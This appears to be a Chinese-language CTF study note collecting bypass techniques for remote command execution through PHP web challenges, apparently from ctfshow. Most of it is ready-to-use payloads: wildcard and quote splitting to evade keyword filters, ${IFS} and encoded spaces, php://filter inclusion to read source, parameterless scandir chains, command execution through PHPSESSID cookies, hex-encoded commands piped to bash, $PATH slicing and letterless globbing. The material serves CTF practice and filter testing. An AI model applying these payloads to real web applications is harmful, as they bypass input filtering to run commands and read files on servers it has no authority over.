RCE之常见绕过方式
对一些常见的绕过方式进行总结
过滤了特定关键字
- 通配符。使用通配符
?
或*
绕过对一些关键字的过滤 - 使用引号,例如flag.php,写为fl’’ag.php, echo `cat fla’’g.php`, l’’s, l””s
- 利用转意符号:l\s
- 利用斜杠:l/s
- 利用${Z}, $*:l${Z}s、l$*s
过滤了cat
替代命令:tac、more、less、head、tail、nl、od
过滤了system函数
- 使用passthru()替换system()
- 使用shell_exec()、exec(),不会打印结果,需配合echo
- 使用反引号``,但是反引号的结果不会主动输出,需要使用echo命令输出执行结果,echo `ls`
过滤空格
- %09(tab)
- %20(空格本身的url编码)
- %0a
- ${IFS}(Linux),eg:
cat${IFS}flag.txt
- $IFS$9(Linux),eg:
cat$IFS$9flag.txt
- <>、<,eg:
cat<>flag.txt
、cat<flag.txt
- {},eg:
{cat,flag.txt}
过滤分号
php中,?>
的前一个语句可以不要分号。eval(xxx)?>
参数传递绕过
参数传递:c=eval()$_GET[1]);&1=system(ls);
使用文件包含绕过。使用include结合参数传递伪协议绕过
1 | ?c=include$_GET[w] &w=php://filter/convert.base64-encode/resource=flag.php |
无参函数
1 | show_source(next(array_reverse(scandir(pos(localeconv()))))); |
localeconv()会返回一包含本地数字及货币格式信息的数组。
pos():输出数组第一个元素,不改变指针
其中localeconv()返回的数组第一个元素是.
,pos(localeconv())返回的也就是.
scandir(pos(localeconv())),也就是scandir(.):遍历目录,此处遍历的是.
,也就是当前目录下的所有文件,返回的是一个数组
array_reverse():逆转数组,此处逆转主要是为了方便取出文件,因为linux中前方的文件是一些隐藏文件
next():取数组的下一个,此处next(array_reverse(scandir(.))),也就是把当前目录下的文件存入一个数组,然后逆置过来,取逆置后的数组中的第二个元素。
show_source():展示源码
当然,此处返回为数组时,可以使用[1]来指定取出第几个元素。
或者,pos(localeconv())也可以用getcwd()(获取当前目录的地址)替代 ,payload可以构造如下:
1 | show_source(next(array_reverse(scandir(getcwd())))); |
利用sessionid进行rce
1 | ?c=session_start();system(session_id()); |
cookie中设置
1 | Cookie: PHPSESSID=whoami |
读取文件:
1 | ?c=session_start();show_source(session_id()); |
cookie中设置:
1 | Cookie: PHPSESSID=flag.php |
使用运算符绕过
参考ctfshow web入门 web41,这个例子是使用的|
运算符,通过尝试在ascii码0~255之间,找到两两配对的字符,进行|
或运算后,能够得到我们想要的字符的效果,进而实现绕过。
例如:A = %40 | %01
因此可以得到payload:
1 | import requests |
其中计算的效果其实是:
利用拼接绕过
1 | a=fl&b=ag.txt&c=cat $a$b |
利用hex编码绕过
cat /flag可以写成以下的形式
1 | echo '636174202f666c6167' | xxd -r -p | bash |
利用$PATH环境变量拼凑命令
1 | ~/Downloads » echo ${PATH} |
例如以上是我本地的环境变量,在其中拼出ls即可
1 | echo ${PATH:5:1}${PATH:2:1} == > ls |
直接进Linux的bin目录找想要的命令
找cat命令:/bin/c?t
其余命令原理相同
无字母RCE
使用base64命令,对flag进行base64编码输出,此处flag位于flag.php
1 | ?c=/???/????64 ????.??? |